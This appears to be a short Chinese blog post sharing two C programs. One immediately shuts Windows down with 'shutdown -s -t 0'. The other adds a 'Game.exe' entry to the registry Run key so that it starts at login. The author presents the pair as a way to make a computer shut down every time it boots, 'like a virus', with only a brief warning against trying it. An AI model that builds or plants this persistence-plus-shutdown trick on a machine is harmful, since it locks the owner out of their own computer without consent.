我這幾天學了一個好東西給大家看看代碼:


#include 
#include 
#include 
int main(void)
{
    char input[20]={0};
    system("shutdown -s -t 0");
    return 0;
 }


以上是關機程序。


#include 
#include 
#include 
void ComputerStart(char *pathName)
{
	//找到系統的啟動項 
	char *szSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
	HKEY hKey;
	//打開注冊表啟動項 
	int k = RegOpenKeyExA(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey);
	if (k == ERROR_SUCCESS)
	{
		//添加一個子Key,并設置值,MyStart為啟動項名稱,自定義設置;
		RegSetValueEx(hKey, "MyStart", 0, REG_SZ, (BYTE *)pathName, strlen(pathName));
		//關閉注冊表
		RegCloseKey(hKey);
		printf("設置成功\n");
	}
	else
	{
		printf("設置失敗  error:%d\n", k);
	}
}

int main()
{
	char pathName[MAX_PATH];//文件名字最大260個字符  MAX_PATH  260
	GetCurrentDirectory(MAX_PATH, pathName);//設置字符集為多字節字符集  獲取當前文件路徑
	sprintf(pathName, "%s\\", pathName);
	strcat(pathName, "Game.exe");//找到需要開機自啟動的程序
	ComputerStart(pathName);
	system("pause");
	return 0;
}


以上是設置啟動項程序。

加起來等于重復關機器

開機就關機。

就像一個電腦病毒。

千萬不要隨便嘗試。

文章內容屬作者個人觀點,不代表本站立場,如有侵權立刪。